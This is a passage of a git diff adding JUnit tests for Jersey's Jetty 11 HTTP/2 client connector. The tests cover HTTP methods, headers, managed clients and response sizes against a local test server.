@@ -0,0 +1,220 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.InvocationCallback; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.CountDownLatch; +import java.util.concurrent.TimeUnit; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HelloWorldTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HelloWorldTest.class.getName()); + private static final String ROOT_PATH = "helloworld"; + + @Path("helloworld") + public static class HelloWorldResource { + public static final String CLICHED_MESSAGE = "Hello World!"; + + @GET + @Produces("text/plain") + public String getHello() { + return CLICHED_MESSAGE; + } + + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HelloWorldResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testConnection() { + Response response = target().path(ROOT_PATH).request("text/plain").get(); + assertEquals(200, response.getStatus()); + } + + @Test + public void testClientStringResponse() { + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + } + + @Test + public void testAsyncClientRequests() throws InterruptedException { + final int REQUESTS = 20; + final CountDownLatch latch = new CountDownLatch(REQUESTS); + final long tic = System.currentTimeMillis(); + for (int i = 0; i < REQUESTS; i++) { + final int id = i; + target().path(ROOT_PATH).request().async().get(new InvocationCallback<Response>() { + @Override + public void completed(Response response) { + try { + final String result = response.readEntity(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, result); + } finally { + latch.countDown(); + } + } + + @Override + public void failed(Throwable error) { + error.printStackTrace(); + latch.countDown(); + } + }); + } + latch.await(10 * getAsyncTimeoutMultiplier(), TimeUnit.SECONDS); + final long toc = System.currentTimeMillis(); + Logger.getLogger(HelloWorldTest.class.getName()).info("Executed in: " + (toc - tic)); + } + + @Test + public void testHead() { + Response response = target().path(ROOT_PATH).request().head(); + assertEquals(200, response.getStatus()); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + } + + @Test + public void testFooBarOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", "foo/bar").options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals("foo/bar", response.getMediaType().toString()); + assertEquals(0, response.getLength()); + } + + @Test + public void testTextPlainOptions() { + Response response = target().path(ROOT_PATH).request().header("Accept", MediaType.TEXT_PLAIN).options(); + assertEquals(200, response.getStatus()); + final String allowHeader = response.getHeaderString("Allow"); + _checkAllowContent(allowHeader); + assertEquals(MediaType.TEXT_PLAIN_TYPE, response.getMediaType()); + final String responseBody = response.readEntity(String.class); + _checkAllowContent(responseBody); + } + + private void _checkAllowContent(final String content) { + assertTrue(content.contains("GET")); + assertTrue(content.contains("HEAD")); + assertTrue(content.contains("OPTIONS")); + } + + @Test + public void testMissingResourceNotFound() { + Response response; + + response = target().path(ROOT_PATH + "arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + + response = target().path(ROOT_PATH).path("arbitrary").request().get(); + assertEquals(404, response.getStatus()); + response.close(); + } + + @Test + public void testLoggingFilterClientClass() { + Client client = client(); + client.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterClientInstance() { + Client client = client(); + client.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + + @Test + public void testLoggingFilterTargetClass() { + WebTarget target = target().path(ROOT_PATH); + target.register(CustomLoggingFilter.class).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testLoggingFilterTargetInstance() { + WebTarget target = target().path(ROOT_PATH); + target.register(new CustomLoggingFilter()).property("foo", "bar"); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target.request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + } + + @Test + public void testConfigurationUpdate() { + Client client1 = client(); + client1.register(CustomLoggingFilter.class).property("foo", "bar"); + + Client client = ClientBuilder.newClient(client1.getConfiguration()); + CustomLoggingFilter.preFilterCalled = CustomLoggingFilter.postFilterCalled = 0; + String s = target().path(ROOT_PATH).request().get(String.class); + assertEquals(HelloWorldResource.CLICHED_MESSAGE, s); + assertEquals(1, CustomLoggingFilter.preFilterCalled); + assertEquals(1, CustomLoggingFilter.postFilterCalled); + client.close(); + } + +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java new file mode 100644 index 0000000..71b1361 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/Http2PresenceTest.java
@@ -0,0 +1,110 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.eclipse.jetty.client.HttpClient; +import org.eclipse.jetty.http2.client.http.HttpClientTransportOverHTTP2; +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.spi.ConnectorProvider; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.List; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + + +/** + * Tests the HTTP2 presence. + * + */ +public class Http2PresenceTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(Http2PresenceTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + @Test + public void testHttp2Presence() { + final ConnectorProvider provider = ((ClientConfig) target().getConfiguration()).getConnectorProvider(); + assertTrue(provider instanceof JettyHttp2ConnectorProvider); + + final HttpClient client = ((JettyHttp2ConnectorProvider) provider).getHttpClient(target()); + assertTrue(client.getTransport() instanceof HttpClientTransportOverHTTP2); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +}
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java new file mode 100644 index 0000000..cb3b319 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/HttpHeadersTest.java
@@ -0,0 +1,93 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.HeaderParam; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Context; +import jakarta.ws.rs.core.HttpHeaders; +import jakarta.ws.rs.core.Response; +import java.util.List; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; + +public class HttpHeadersTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(HttpHeadersTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @POST + public String post( + @HeaderParam("Transfer-Encoding") String transferEncoding, + @HeaderParam("X-CLIENT") String xClient, + @HeaderParam("X-WRITER") String xWriter, + String entity) { + assertEquals("client", xClient); + return "POST"; + } + + @GET + public String testUserAgent(@Context HttpHeaders httpHeaders) { + final List<String> requestHeader = httpHeaders.getRequestHeader(HttpHeaders.USER_AGENT); + if (requestHeader.size() != 1) { + return "FAIL"; + } + return requestHeader.get(0); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testPost() { + Response response = target().path("test").request().header("X-CLIENT", "client").post(null); + + assertEquals(200, response.getStatus()); + assertTrue(response.hasEntity()); + } + + /** + * Test, that {@code User-agent} header is as set by Jersey, not by underlying Jetty client. + */ + @Test + public void testUserAgent() { + String response = target().path("test").request().get(String.class); + assertTrue(response.startsWith("Jersey"), "User-agent header should start with 'Jersey', but was " + response); + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java new file mode 100644 index 0000000..215408b --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/ManagedClientTest.java
@@ -0,0 +1,250 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ClientBinding; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.server.Uri; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.Produces; +import jakarta.ws.rs.client.ClientRequestContext; +import jakarta.ws.rs.client.ClientRequestFilter; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.container.ContainerRequestContext; +import jakarta.ws.rs.container.ContainerRequestFilter; +import jakarta.ws.rs.container.DynamicFeature; +import jakarta.ws.rs.container.ResourceInfo; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.FeatureContext; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.io.IOException; +import java.lang.annotation.Documented; +import java.lang.annotation.ElementType; +import java.lang.annotation.Retention; +import java.lang.annotation.RetentionPolicy; +import java.lang.annotation.Target; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class ManagedClientTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(ManagedClientTest.class.getName()); + + /** + * Managed client configuration for client A. + */ + @ClientBinding(configClass = MyClientAConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public static @interface ClientA { + } + + /** + * Managed client configuration for client B. + */ + @ClientBinding(configClass = MyClientBConfig.class) + @Documented + @Retention(RetentionPolicy.RUNTIME) + @Target({ElementType.FIELD, ElementType.PARAMETER}) + public @interface ClientB { + } + + /** + * Dynamic feature that appends a properly configured {@link CustomHeaderFilter} instance + * to every method that is annotated with {@link Require @Require} internal feature + * annotation. + */ + public static class CustomHeaderFeature implements DynamicFeature { + + /** + * A method annotation to be placed on those resource methods to which a validating + * {@link CustomHeaderFilter} instance should be added. + */ + @Retention(RetentionPolicy.RUNTIME) + @Documented + @Target(ElementType.METHOD) + public static @interface Require { + + /** + * Expected custom header name to be validated by the {@link CustomHeaderFilter}. + */ + public String headerName(); + + /** + * Expected custom header value to be validated by the {@link CustomHeaderFilter}. + */ + public String headerValue(); + } + + @Override + public void configure(ResourceInfo resourceInfo, FeatureContext context) { + final Require va = resourceInfo.getResourceMethod().getAnnotation(Require.class); + if (va != null) { + context.register(new CustomHeaderFilter(va.headerName(), va.headerValue())); + } + } + } + + /** + * A filter for appending and validating custom headers. + * <p> + * On the client side, appends a new custom request header with a configured name and value to each outgoing request. + * </p> + * <p> + * On the server side, validates that each request has a custom header with a configured name and value. + * If the validation fails a HTTP 403 response is returned. + * </p> + */ + public static class CustomHeaderFilter implements ContainerRequestFilter, ClientRequestFilter { + + private final String headerName; + private final String headerValue; + + public CustomHeaderFilter(String headerName, String headerValue) { + if (headerName == null || headerValue == null) { + throw new IllegalArgumentException("Header name and value must not be null."); + } + this.headerName = headerName; + this.headerValue = headerValue; + } + + @Override + public void filter(ContainerRequestContext ctx) throws IOException { // validate + if (!headerValue.equals(ctx.getHeaderString(headerName))) { + ctx.abortWith(Response.status(Response.Status.FORBIDDEN) + .type(MediaType.TEXT_PLAIN) + .entity(String + .format("Expected header '%s' not present or value not equal to '%s'", headerName, headerValue)) + .build()); + } + } + + @Override + public void filter(ClientRequestContext ctx) throws IOException { // append + ctx.getHeaders().putSingle(headerName, headerValue); + } + } + + /** + * Internal resource accessed from the managed client resource. + */ + @Path("internal") + public static class InternalResource { + + @GET + @Path("a") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "a") + public String getA() { + return "a"; + } + + @GET + @Path("b") + @CustomHeaderFeature.Require(headerName = "custom-header", headerValue = "b") + public String getB() { + return "b"; + } + } + + /** + * A resource that uses managed clients to retrieve values of internal + * resources 'A' and 'B', which are protected by a {@link CustomHeaderFilter} + * and require a specific custom header in a request to be set to a specific value. + * <p> + * Properly configured managed clients have a {@code CustomHeaderFilter} instance + * configured to insert the {@link CustomHeaderFeature.Require required} custom header + * with a proper value into the outgoing client requests. + * </p> + */ + @Path("public") + public static class PublicResource { + + @Uri("a") + @ClientA // resolves to <base>/internal/a + private WebTarget targetA; + + @GET + @Produces("text/plain") + @Path("a") + public String getTargetA() { + return targetA.request(MediaType.TEXT_PLAIN).get(String.class); + } + + @GET + @Produces("text/plain") + @Path("b") + public Response getTargetB(@Uri("internal/b") @ClientB WebTarget targetB) { + return targetB.request(MediaType.TEXT_PLAIN).get(); + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(PublicResource.class, InternalResource.class, CustomHeaderFeature.class) + .property(ClientA.class.getName() + ".baseUri", this.getBaseUri().toString() + "internal"); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + public static class MyClientAConfig extends ClientConfig { + + public MyClientAConfig() { + this.register(new CustomHeaderFilter("custom-header", "a")); + } + } + + public static class MyClientBConfig extends ClientConfig { + + public MyClientBConfig() { + this.register(new CustomHeaderFilter("custom-header", "b")); + } + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + /** + * Test that a connection via managed clients works properly. + * + * @throws Exception in case of test failure. + */ + @Test + public void testManagedClient() throws Exception { + final WebTarget resource = target().path("public").path("{name}"); + Response response; + + response = resource.resolveTemplate("name", "a").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("a", response.readEntity(String.class)); + + response = resource.resolveTemplate("name", "b").request(MediaType.TEXT_PLAIN).get(); + assertEquals(200, response.getStatus()); + assertEquals("b", response.readEntity(String.class)); + } + +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java new file mode 100644 index 0000000..8412c41 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/MethodTest.java
@@ -0,0 +1,146 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.DELETE; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.PATCH; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.PUT; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import java.util.concurrent.ExecutionException; +import java.util.logging.Logger; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +public class MethodTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(MethodTest.class.getName()); + + private static final String PATH = "test"; + + @Path("/test") + public static class HttpMethodResource { + @GET + public String get() { + return "GET"; + } + + @POST + public String post(String entity) { + return entity; + } + + @PUT + public String put(String entity) { + return entity; + } + + @PATCH + public String patch(String entity) { + return entity; + } + + @DELETE + public String delete() { + return "DELETE"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testGet() { + Response response = target(PATH).request().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testGetAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().get().get(); + assertEquals("GET", response.readEntity(String.class)); + } + + @Test + public void testPost() { + Response response = target(PATH).request().post(Entity.entity("POST", MediaType.TEXT_PLAIN)); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPostAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().post(Entity.entity("POST", MediaType.TEXT_PLAIN)).get(); + assertEquals("POST", response.readEntity(String.class)); + } + + @Test + public void testPut() { + Response response = target(PATH).request().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testPutAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().put(Entity.entity("PUT", MediaType.TEXT_PLAIN)).get(); + assertEquals("PUT", response.readEntity(String.class)); + } + + @Test + public void testDelete() { + Response response = target(PATH).request().delete(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testDeleteAsync() throws ExecutionException, InterruptedException { + Response response = target(PATH).request().async().delete().get(); + assertEquals("DELETE", response.readEntity(String.class)); + } + + @Test + public void testPatch() { + Response response = target(PATH).request().method("PATCH", Entity.entity("PATCH", MediaType.TEXT_PLAIN)); + assertEquals("PATCH", response.readEntity(String.class)); + } + + @Test + public void testOptionsWithEntity() { + Response response = target(PATH).request().build("OPTIONS", Entity.text("OPTIONS")).invoke(); + assertEquals(200, response.getStatus()); + response.close(); + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java new file mode 100644 index 0000000..1c14296 --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/NoEntityTest.java
@@ -0,0 +1,95 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.util.logging.Logger; + +public class NoEntityTest extends JerseyTest { + private static final Logger LOGGER = Logger.getLogger(NoEntityTest.class.getName()); + + @Path("/test") + public static class HttpMethodResource { + @GET + public Response get() { + return Response.status(Response.Status.CONFLICT).build(); + } + + @POST + public void post(String entity) { + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(HttpMethodResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testGet() { + WebTarget r = target("test"); + + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testGetWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().get(); + cr.close(); + } + } + + @Test + public void testPost() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + } + } + + @Test + public void testPostWithClose() { + WebTarget r = target("test"); + for (int i = 0; i < 5; i++) { + Response cr = r.request().post(null); + cr.close(); + } + } +} \ No newline at end of file
diff --git a/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java new file mode 100644 index 0000000..e3b2c3d --- /dev/null +++ b/connectors/jetty11-http2-connector/src/test/java/org/glassfish/jersey/jetty/http2/connector/SyncResponseSizeTest.java
@@ -0,0 +1,161 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.jetty.http2.connector; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.jetty.connector.JettyClientProperties; +import org.glassfish.jersey.logging.LoggingFeature; +import org.glassfish.jersey.server.ResourceConfig; +import org.glassfish.jersey.test.JerseyTest; +import org.junit.jupiter.api.Test; + +import jakarta.ws.rs.GET; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.ProcessingException; +import jakarta.ws.rs.client.Client; +import jakarta.ws.rs.client.ClientBuilder; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.Response; +import java.net.URI; +import java.util.concurrent.ExecutionException; +import java.util.concurrent.TimeoutException; +import java.util.logging.Logger; + +import static org.hamcrest.CoreMatchers.instanceOf; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertTrue; +import static org.junit.jupiter.api.Assertions.fail; + +public class SyncResponseSizeTest extends JerseyTest { + + private static final Logger LOGGER = Logger.getLogger(SyncResponseSizeTest.class.getName()); + + private static final int maxBufferSize = 4 * 1024 * 1024; //4 MiB + + @Path("/test") + public static class TimeoutResource { + + private static final byte[] data = new byte[maxBufferSize]; + + static { + Byte b = "a".getBytes()[0]; + for (int i = 0; i < maxBufferSize; i++) data[i] = b.byteValue(); + } + + @GET + @Path("/small") + public String getSmall() { + return "GET"; + } + + @GET + @Path("/big") + public String getBig() { + return new String(data); + } + + @GET + @Path("/verybig") + public String getVeryBig() { + return new String(data) + "a"; + } + } + + @Override + protected Application configure() { + ResourceConfig config = new ResourceConfig(TimeoutResource.class); + config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY)); + return config; + } + + @Override + protected void configureClient(ClientConfig config) { + config.connectorProvider(new JettyHttp2ConnectorProvider()); + } + + @Test + public void testDefaultSmall() { + Response r = target("test/small").request().get(); + assertEquals(200, r.getStatus()); + assertEquals("GET", r.readEntity(String.class)); + } + + @Test + public void testDefaultTooBig() { + final URI u = target().getUri(); + ClientConfig config = new ClientConfig().property(ClientProperties.READ_TIMEOUT, 1_000); + config.connectorProvider(new JettyHttp2ConnectorProvider()); + + Client c = 